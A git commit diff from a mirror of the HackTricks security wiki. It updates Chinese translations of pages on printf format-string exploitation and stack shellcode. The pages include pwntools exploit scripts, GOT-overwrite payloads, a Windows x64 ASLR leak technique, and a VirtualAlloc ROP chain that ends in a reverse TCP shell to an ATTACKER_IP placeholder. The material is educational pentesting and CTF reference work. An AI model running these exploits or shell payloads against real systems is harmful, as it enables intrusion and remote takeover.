mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/READ
This commit is contained in:
parent
6d62d007e1
commit
bc7c255265
@ -234,6 +234,7 @@
|
|||||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||||
|
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||||
|
|||||||
@ -5,13 +5,13 @@
|
|||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
在 C 中,**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数** 是 **带格式的原始文本**。后续的 **参数** 是 **替代** 原始文本中 **格式化符** 的 **值**。
|
在 C 中,**`printf`** 是一个可用于**打印**字符串的函数。该函数期望的**第一个参数**是包含**格式化占位符的原始文本**。之后期望的**后续参数**是用来**替换**原始文本中**格式化占位符**的**值**。
|
||||||
|
|
||||||
其他易受攻击的函数包括 **`sprintf()`** 和 **`fprintf()`**。
|
其他易受攻击的函数有 **`sprintf()`** 和 **`fprintf()`**。
|
||||||
|
|
||||||
当 **攻击者的文本作为第一个参数** 被用作此函数时,就会出现漏洞。攻击者将能够构造一个 **特殊输入,利用** **printf 格式** 字符串的能力来读取和 **写入任何地址(可读/可写)** 中的 **任何数据**。这样就能够 **执行任意代码**。
|
当**攻击者控制的文本被用作该函数的第一个参数**时,就会出现该漏洞。攻击者可以构造**特殊输入滥用** **printf format** 字符串能力来读取并**写入任意地址的任何数据(可读/可写)**。通过这种方式能够**执行任意代码**。
|
||||||
|
|
||||||
#### 格式化符:
|
#### 格式化占位符:
|
||||||
```bash
|
```bash
|
||||||
%08x —> 8 hex bytes
|
%08x —> 8 hex bytes
|
||||||
%d —> Entire
|
%d —> Entire
|
||||||
@ -22,24 +22,24 @@
|
|||||||
%hn —> Occupies 2 bytes instead of 4
|
%hn —> Occupies 2 bytes instead of 4
|
||||||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||||||
```
|
```
|
||||||
**示例:**
|
**示例:**
|
||||||
|
|
||||||
- 漏洞示例:
|
- 有漏洞的示例:
|
||||||
```c
|
```c
|
||||||
char buffer[30];
|
char buffer[30];
|
||||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||||
```
|
```
|
||||||
- 正常使用:
|
- 正常 用法:
|
||||||
```c
|
```c
|
||||||
int value = 1205;
|
int value = 1205;
|
||||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||||
```
|
```
|
||||||
- 缺失参数:
|
- 参数缺失时:
|
||||||
```c
|
```c
|
||||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||||
```
|
```
|
||||||
- fprintf 漏洞:
|
- fprintf 易受攻击:
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
@ -54,11 +54,11 @@ return 0;
|
|||||||
```
|
```
|
||||||
### **访问指针**
|
### **访问指针**
|
||||||
|
|
||||||
格式 **`%<n>$x`**,其中 `n` 是一个数字,允许指示 printf 选择第 n 个参数(来自栈)。因此,如果您想使用 printf 读取栈中的第 4 个参数,可以这样做:
|
格式 **`%<n>$x`**,其中 `n` 是一个数字,允许指示 printf 选择第 n 个参数(来自 stack)。因此,如果你想使用 printf 读取 stack 上的第 4 个参数,你可以这样做:
|
||||||
```c
|
```c
|
||||||
printf("%x %x %x %x")
|
printf("%x %x %x %x")
|
||||||
```
|
```
|
||||||
你可以从第一个参数读取到第四个参数。
|
并且你会从第一个读取到第四个参数。
|
||||||
|
|
||||||
或者你可以这样做:
|
或者你可以这样做:
|
||||||
```c
|
```c
|
||||||
@ -66,14 +66,14 @@ printf("%4$x")
|
|||||||
```
|
```
|
||||||
并直接读取第四个。
|
并直接读取第四个。
|
||||||
|
|
||||||
注意,攻击者控制着 `printf` **参数,这基本上意味着** 他的输入将在调用 `printf` 时位于栈中,这意味着他可以在栈中写入特定的内存地址。
|
注意,攻击者控制了 `printf` **参数,这基本意味着**当 `printf` 被调用时,他的输入会位于栈上,这也意味着他可以在栈中写入特定的内存地址。
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> 控制此输入的攻击者将能够 **在栈中添加任意地址并使 `printf` 访问它们**。下一节将解释如何利用这种行为。
|
> 控制该输入的攻击者将能够 **在栈中添加任意地址并让 `printf` 访问这些地址**。下一节将解释如何利用该行为。
|
||||||
|
|
||||||
## **任意读取**
|
## **Arbitrary Read**
|
||||||
|
|
||||||
可以使用格式化符 **`%n$s`** 使 **`printf`** 获取位于 **n 位置** 的 **地址**,并 **将其打印为字符串**(打印直到找到 0x00)。因此,如果二进制文件的基地址是 **`0x8048000`**,并且我们知道用户输入从栈的第四个位置开始,则可以使用以下方式打印二进制文件的开头:
|
可以使用格式化符 **`%n$s`** 使 **`printf`** 获取位于第 **n** 个位置的**地址**,随后将该地址指向的内容**按字符串方式打印**(打印直到遇到 0x00 为止)。因此,如果二进制的基地址为 **`0x8048000`**,并且我们知道用户输入在栈上的第 4 个位置开始,就可以打印二进制的起始内容:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -87,15 +87,15 @@ p.sendline(payload)
|
|||||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||||
```
|
```
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> 注意,您不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址的末尾以 0x00 结束。
|
> 注意:你不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址末尾被 0x00 截断。
|
||||||
|
|
||||||
### 查找偏移量
|
### 查找偏移
|
||||||
|
|
||||||
要找到输入的偏移量,您可以发送 4 或 8 字节(`0x41414141`),后跟 **`%1$x`** 并 **增加** 值,直到检索到 `A`。
|
要找到到你输入的偏移量,你可以发送 4 或 8 字节(`0x41414141`)后跟 **`%1$x`**,并**增加**该值直到检索到 `A's`。
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>暴力破解 printf 偏移量</summary>
|
<summary>Brute Force printf offset</summary>
|
||||||
```python
|
```python
|
||||||
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
||||||
|
|
||||||
@ -126,44 +126,45 @@ p.close()
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### 有多有用
|
### 有用性
|
||||||
|
|
||||||
任意读取可以用于:
|
Arbitrary reads 可以用于:
|
||||||
|
|
||||||
- **从内存中转储** **二进制文件**
|
- **Dump** the **binary** from memory
|
||||||
- **访问存储敏感信息的内存特定部分**(如 canaries、加密密钥或自定义密码,如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中)
|
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||||
|
|
||||||
## **任意写入**
|
## **Arbitrary Write**
|
||||||
|
|
||||||
格式化器 **`%<num>$n`** **在** \<num> 参数指定的地址 **写入** **写入的字节数**。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`%<num>$n`** 在任意地址写入任意数字。
|
格式化器 **`%<num>$n`** **写入** **写入的字节数** 到 **栈中由 <num> 参数指示的地址**。如果攻击者能够通过 printf 写入任意数量的字符,就可以让 **`%<num>$n`** 在任意地址写入任意数值。
|
||||||
|
|
||||||
幸运的是,写入数字 9999 时,不需要在输入中添加 9999 个 "A",为了做到这一点,可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址** 写入数字 **`<num-write>`**。
|
幸运的是,要写入数字 9999,并不需要在输入中添加 9999 个 "A"。可以使用格式化器 **`%.<num-write>%<num>$n`** 将数字 **`<num-write>`** 写入 **由 `num` 位置指向的地址**。
|
||||||
```bash
|
```bash
|
||||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||||
AAAA.%500\$08x —> Param at offset 500
|
AAAA.%500\$08x —> Param at offset 500
|
||||||
```
|
```
|
||||||
然而,请注意,通常为了写入一个地址,例如 `0x08049724`(这是一个很大的数字一次性写入),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作需要进行两次,一次是针对地址的高 2B,另一次是针对低 2B。
|
不过,注意通常为了写入像 `0x08049724`(一次写入是一个很大的数)这样的地址,**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 Bytes**。因此该操作需要执行两次,一次写入地址的高 2B,另一次写入低 2B。
|
||||||
|
|
||||||
因此,这个漏洞允许**在任何地址写入任何内容(任意写入)。**
|
因此,这个漏洞允许**在任意地址写入任意内容 (arbitrary write)。**
|
||||||
|
|
||||||
|
在这个示例中,目标是要**覆盖**GOT 表中将被后续调用的某个**函数**的**地址**。虽然也可以利用其它 arbitrary write 到 exec 的技术:
|
||||||
|
|
||||||
在这个例子中,目标是**覆盖**一个**函数**在**GOT** 表中的**地址**,该函数将在稍后被调用。尽管这可能会滥用其他任意写入到执行的技术:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../arbitrary-write-2-exec/
|
../arbitrary-write-2-exec/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
我们将**覆盖**一个**函数**,该函数**接收**来自**用户**的**参数**并**指向**`system` **函数**。\
|
我们将**覆盖**一个**从用户接收参数**的**函数**,并将其指向 **`system`** **函数**。\
|
||||||
如前所述,写入地址通常需要 2 个步骤:您**首先写入 2 字节**的地址,然后写入另外 2 字节。为此使用**`$hn`**。
|
如前所述,为了写入地址,通常需要两步:你**先写入地址的 2 Bytes**,然后再写入剩下的 2 Bytes。为此使用 **`$hn`**。
|
||||||
|
|
||||||
- **HOB** 是指地址的 2 个高字节
|
- **HOB** 指地址的高 2 bytes
|
||||||
- **LOB** 是指地址的 2 个低字节
|
- **LOB** 指地址的低 2 bytes
|
||||||
|
|
||||||
然后,由于格式字符串的工作原理,您需要**首先写入较小的** \[HOB, LOB],然后写入另一个。
|
然后,由于 format string 的工作方式,你需要**先写入 [HOB, LOB] 中较小的那个**,再写入另一个。
|
||||||
|
|
||||||
如果 HOB < LOB\
|
If HOB < LOB\
|
||||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||||
|
|
||||||
如果 HOB > LOB\
|
If HOB > LOB\
|
||||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||||
|
|
||||||
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||||
@ -172,14 +173,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
|||||||
```
|
```
|
||||||
### Pwntools 模板
|
### Pwntools 模板
|
||||||
|
|
||||||
您可以在以下位置找到用于准备此类漏洞的 **模板**:
|
你可以在以下位置找到用于为此类漏洞准备利用的**模板**:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
format-strings-template.md
|
format-strings-template.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
或者这个基本示例来自 [**这里**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
或者这个来自 [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) 的基本示例:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -198,9 +199,45 @@ p.sendline('/bin/sh')
|
|||||||
|
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
## 格式字符串到缓冲区溢出
|
## Format Strings to BOF
|
||||||
|
|
||||||
可以利用格式字符串漏洞的写入操作来**写入栈的地址**,并利用**缓冲区溢出**类型的漏洞。
|
可以滥用 format string vulnerability 的写操作,将数据写入 **write in addresses of the stack**,并利用 **buffer overflow** 类型的漏洞。
|
||||||
|
|
||||||
|
|
||||||
|
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||||
|
|
||||||
|
在 Windows x64 上,前四个整型/指针参数通过寄存器传递:RCX, RDX, R8, R9。在许多有漏洞的调用点中,攻击者控制的字符串被用作 format argument,但没有提供 variadic arguments,例如:
|
||||||
|
```c
|
||||||
|
// keyData is fully controlled by the client
|
||||||
|
// _snprintf(dst, len, fmt, ...)
|
||||||
|
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||||
|
```
|
||||||
|
因为没有传递 varargs,任何像 "%p", "%x", "%s" 这样的转换都会导致 CRT 从相应的寄存器读取下一个 variadic argument。With the Microsoft x64 calling convention the first such read for "%p" comes from R9。调用点 R9 中的任何瞬时值都会被打印出来。实际上,这通常会 leak 一个稳定的 in-module pointer(例如,一个之前由周围代码放入 R9 的 local/global 对象的指针,或一个 callee-saved 值),可用于恢复 module base 并绕过 ASLR。
|
||||||
|
|
||||||
|
Practical workflow:
|
||||||
|
|
||||||
|
- 在 attacker-controlled string 的最开始注入像 "%p " 这样无害的 format,这样第一次转换会在任何过滤之前执行。
|
||||||
|
- 捕获 leaked pointer,确定该对象在 module 内的静态偏移(通过 reversing(使用符号或本地副本)),并将 image base 恢复为 `leak - known_offset`。
|
||||||
|
- 重用该 base 来计算远程 ROP gadgets 和 IAT entries 的绝对地址。
|
||||||
|
|
||||||
|
Example (abbreviated python):
|
||||||
|
```python
|
||||||
|
from pwn import remote
|
||||||
|
|
||||||
|
# Send an input that the vulnerable code will pass as the "format"
|
||||||
|
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
|
||||||
|
io = remote(HOST, 4141)
|
||||||
|
# ... drive protocol to reach the vulnerable snprintf ...
|
||||||
|
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
||||||
|
base = leaked - 0x20660 # module base = leak - offset
|
||||||
|
print(hex(leaked), hex(base))
|
||||||
|
```
|
||||||
|
注意事项:
|
||||||
|
- 要减去的精确偏移量在本地逆向时确定一次,然后重用(相同的二进制/版本)。
|
||||||
|
- 如果 "%p" 在第一次尝试时没有打印出有效的指针,尝试其他格式说明符 ("%llx", "%s") 或多次转换 ("%p %p %p") 来采样其他参数寄存器/stack。
|
||||||
|
- 该模式特定于 Windows x64 calling convention 和 printf-family 的实现——当 format string 请求时,会从寄存器获取不存在的 varargs。
|
||||||
|
|
||||||
|
该技术对于在启用了 ASLR 且没有明显 memory disclosure primitives 的 Windows 服务上引导 ROP 非常有用。
|
||||||
|
|
||||||
## 其他示例与参考
|
## 其他示例与参考
|
||||||
|
|
||||||
@ -208,10 +245,15 @@ p.interactive()
|
|||||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||||
- 32位,无relro,无canary,nx,无pie,基本使用格式字符串从栈中泄露标志(无需更改执行流程)
|
- 32 bit,no relro,no canary,nx,no pie,基本使用 format strings 从 stack leak flag(不需要改变 execution flow)
|
||||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||||
- 32位,relro,无canary,nx,无pie,格式字符串覆盖地址`fflush`与win函数(ret2win)
|
- 32 bit,relro,no canary,nx,no pie,使用 format string 覆盖地址 `fflush` 为 win 函数 (ret2win)
|
||||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||||
- 32位,relro,无canary,nx,无pie,格式字符串在`.fini_array`中写入main内部的地址(使流程再循环一次)并将地址写入GOT表中的`system`,指向`strlen`。当流程返回到main时,`strlen`将以用户输入为参数执行,并指向`system`,将执行传递的命令。
|
- 32 bit,relro,no canary,nx,no pie,使用 format string 将一个地址写入 main 内的 `.fini_array`(这样流程会再回到 main 一次),并在 GOT 表中将指向 `strlen` 的地址写为 `system`。当流程返回 main 时,执行 `strlen`(带用户输入),但因指向 `system`,将执行所传的命令。
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||||
|
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
**Stack shellcode** 是一种用于 **binary exploitation** 的技术,攻击者将 shellcode 写入易受攻击程序的栈中,然后修改 **Instruction Pointer (IP)** 或 **Extended Instruction Pointer (EIP)** 以指向该 shellcode 的位置,从而导致其执行。这是一种经典的方法,用于获得未授权访问或在目标系统上执行任意命令。以下是该过程的分解,包括一个简单的 C 示例以及如何使用 Python 和 **pwntools** 编写相应的利用代码。
|
**Stack shellcode** 是一种用于 **binary exploitation** 的技术,攻击者将 shellcode 写入易受攻击程序的栈,然后修改 **Instruction Pointer (IP)** 或 **Extended Instruction Pointer (EIP)**,使其指向该 shellcode 的位置,从而导致其执行。这是一种经典方法,用于在目标系统上获取未授权访问或执行任意命令。下面分解该过程,包括一个简单的 C 示例以及如何使用 Python 和 **pwntools** 编写相应的 exploit。
|
||||||
|
|
||||||
### C 示例:一个易受攻击的程序
|
### C 示例:一个易受攻击的程序
|
||||||
|
|
||||||
@ -24,22 +24,22 @@ printf("Returned safely\n");
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
该程序由于使用了 `gets()` 函数而容易受到缓冲区溢出攻击。
|
该程序因为使用 `gets()` 函数而容易受到缓冲区溢出攻击。
|
||||||
|
|
||||||
### 编译
|
### 编译
|
||||||
|
|
||||||
要在禁用各种保护的情况下编译此程序(以模拟易受攻击的环境),您可以使用以下命令:
|
要在禁用各种保护(以模拟易受攻击的环境)的情况下编译此程序,可以使用以下命令:
|
||||||
```sh
|
```sh
|
||||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||||
```
|
```
|
||||||
- `-fno-stack-protector`: 禁用栈保护。
|
- `-fno-stack-protector`: 禁用栈保护。
|
||||||
- `-z execstack`: 使栈可执行,这对于执行存储在栈上的 shellcode 是必要的。
|
- `-z execstack`: 使栈可执行,这对于执行存放在栈上的 shellcode 是必要的。
|
||||||
- `-no-pie`: 禁用位置无关可执行文件,使预测我们的 shellcode 将位于的内存地址变得更容易。
|
- `-no-pie`: 禁用 Position Independent Executable,使我们更容易预测 shellcode 将所在的内存地址。
|
||||||
- `-m32`: 将程序编译为 32 位可执行文件,通常用于简化漏洞开发。
|
- `-m32`: 将程序编译为 32 位可执行文件,常用于简化 exploit 开发。
|
||||||
|
|
||||||
### 使用 Pwntools 的 Python 漏洞利用
|
### 使用 Pwntools 的 Python Exploit
|
||||||
|
|
||||||
以下是如何使用 **pwntools** 在 Python 中编写一个 **ret2shellcode** 攻击的示例:
|
下面是如何使用 **pwntools** 在 Python 中编写 exploit 以执行 **ret2shellcode** 攻击:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
|||||||
p.sendline(payload)
|
p.sendline(payload)
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
这个脚本构造了一个有效载荷,由**NOP滑块**、**shellcode**组成,然后用指向NOP滑块的地址覆盖**EIP**,确保shellcode被执行。
|
该脚本构造了一个 payload,包含 **NOP slide**、**shellcode**,然后将 **EIP** 覆盖为指向 NOP slide 的地址,以确保 shellcode 被执行。
|
||||||
|
|
||||||
**NOP滑块**(`asm('nop')`)用于增加执行“滑入”我们的shellcode的机会,无论确切地址是什么。调整`p32()`参数为缓冲区的起始地址加上一个偏移量,以便落入NOP滑块。
|
**NOP slide** (`asm('nop')`) 用来增加执行“滑入”我们 shellcode 的几率,而不依赖精确地址。调整 `p32()` 的参数为你的缓冲区起始地址加上一个偏移,以落在 NOP slide 上。
|
||||||
|
|
||||||
## 保护措施
|
## Windows x64: 绕过 NX,使用 VirtualAlloc ROP (ret2stack shellcode)
|
||||||
|
|
||||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **应该禁用**,以确保地址在执行之间是可靠的,否则存储函数的地址不会总是相同,您需要一些泄漏以确定win函数加载的位置。
|
在现代 Windows 上,stack 是 non-executable(DEP/NX)。在发生 stack BOF 后仍想执行驻留在栈上的 shellcode 的常用方法是构建一个 64-bit ROP chain,从模块的 Import Address Table (IAT) 调用 VirtualAlloc(或 VirtualProtect),使栈上的某个区域变为可执行,然后返回到紧随该链之后的 shellcode。
|
||||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应该禁用,否则被破坏的EIP返回地址将永远不会被跟随。
|
|
||||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **栈**保护将阻止在栈内执行shellcode,因为该区域将不可执行。
|
Key points (Win64 calling convention):
|
||||||
|
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||||
|
- RCX = lpAddress → 选择当前栈中的一个地址(例如 RSP),这样新分配的 RWX 区域会与你的 payload 重叠
|
||||||
|
- RDX = dwSize → 足够容纳你的 chain + shellcode(例如 0x1000)
|
||||||
|
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||||
|
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||||
|
- Return directly into the shellcode placed right after the chain.
|
||||||
|
|
||||||
|
Minimal strategy:
|
||||||
|
1) Leak a module base(例如通过 format-string、object pointer 等)以便在 ASLR 下计算出绝对 gadget 和 IAT 地址。
|
||||||
|
2) 找到用于加载 RCX/RDX/R8/R9 的 gadgets(pop 或 mov/xor 类序列)以及可 call/jmp [VirtualAlloc@IAT] 的 gadget。如果没有直接的 pop r8/r9,使用算术 gadgets 来合成常量(例如,将 r8 设为 0,然后重复将 r9 加 0x40 四十次以达到 0x1000)。
|
||||||
|
3) 将 stage-2 shellcode 放置在链之后紧接的位置。
|
||||||
|
|
||||||
|
Example layout (conceptual):
|
||||||
|
```
|
||||||
|
# ... padding up to saved RIP ...
|
||||||
|
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
||||||
|
POP_R9_RET; 0x40
|
||||||
|
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
|
||||||
|
POP_R8_RET; 0x1000
|
||||||
|
# RCX = &stack (lpAddress)
|
||||||
|
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
|
||||||
|
# RDX = size (dwSize)
|
||||||
|
POP_RDX_RET; 0x1000
|
||||||
|
# Call VirtualAlloc via the IAT
|
||||||
|
[IAT_VirtualAlloc]
|
||||||
|
# New RWX memory at RCX — execution continues at the next stack qword
|
||||||
|
JMP_SHELLCODE_OR_RET
|
||||||
|
# ---- stage-2 shellcode (x64) ----
|
||||||
|
```
|
||||||
|
在受限的 gadget 集合下,你可以间接构造寄存器的值,例如:
|
||||||
|
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → 将 r9 设为 rbx 的值,将 r8 清零,并用一个垃圾 qword 补偿栈。
|
||||||
|
- xor rbx, rsp; ret → 用当前的栈指针为 rbx 赋值。
|
||||||
|
- push rbx; pop rax; mov rcx, rax; ret → 将来源于 RSP 的值移动到 RCX。
|
||||||
|
|
||||||
|
Pwntools 示例(在已知基址和 gadgets 的情况下):
|
||||||
|
```python
|
||||||
|
from pwn import *
|
||||||
|
base = 0x7ff6693b0000
|
||||||
|
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
|
||||||
|
rop = b''
|
||||||
|
# r9 = 0x40
|
||||||
|
rop += p64(base+POP_RBX_RET) + p64(0x40)
|
||||||
|
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
|
||||||
|
# rcx = rsp
|
||||||
|
rop += p64(base+POP_RBX_RET) + p64(0)
|
||||||
|
rop += p64(base+XOR_RBX_RSP_RET)
|
||||||
|
rop += p64(base+PUSH_RBX_POP_RAX_RET)
|
||||||
|
rop += p64(base+MOV_RCX_RAX_RET)
|
||||||
|
# r8 = 0x1000 via arithmetic if no pop r8
|
||||||
|
for _ in range(0x1000//0x40):
|
||||||
|
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
|
||||||
|
# rdx = 0x1000 (use any available gadget)
|
||||||
|
rop += p64(base+POP_RDX_RET) + p64(0x1000)
|
||||||
|
# call VirtualAlloc and land in shellcode
|
||||||
|
rop += p64(IAT_VirtualAlloc)
|
||||||
|
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||||
|
```
|
||||||
|
提示:
|
||||||
|
- VirtualProtect 的工作方式类似,如果更倾向于将现有缓冲区设为 RX;参数顺序不同。
|
||||||
|
- 如果 stack 空间不足,在别处分配 RWX(RCX=NULL)并 jmp 到该新区域,而不是重用 stack。
|
||||||
|
- 始终考虑会调整 RSP 的 gadgets(例如 add rsp, 8; ret),通过插入垃圾 qwords 来补偿。
|
||||||
|
|
||||||
|
|
||||||
|
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **应该被禁用**,以使地址在不同执行中可靠,否则函数将被存放的地址不会总是相同,你将需要一些 leak 来确定 win 函数加载在哪里。
|
||||||
|
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应被禁用,否则被破坏的 EIP 返回地址将永远不会被执行。
|
||||||
|
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** 保护会阻止在 stack 内的 shellcode 执行,因为该区域不会是可执行的。
|
||||||
|
|
||||||
## 其他示例与参考
|
## 其他示例与参考
|
||||||
|
|
||||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
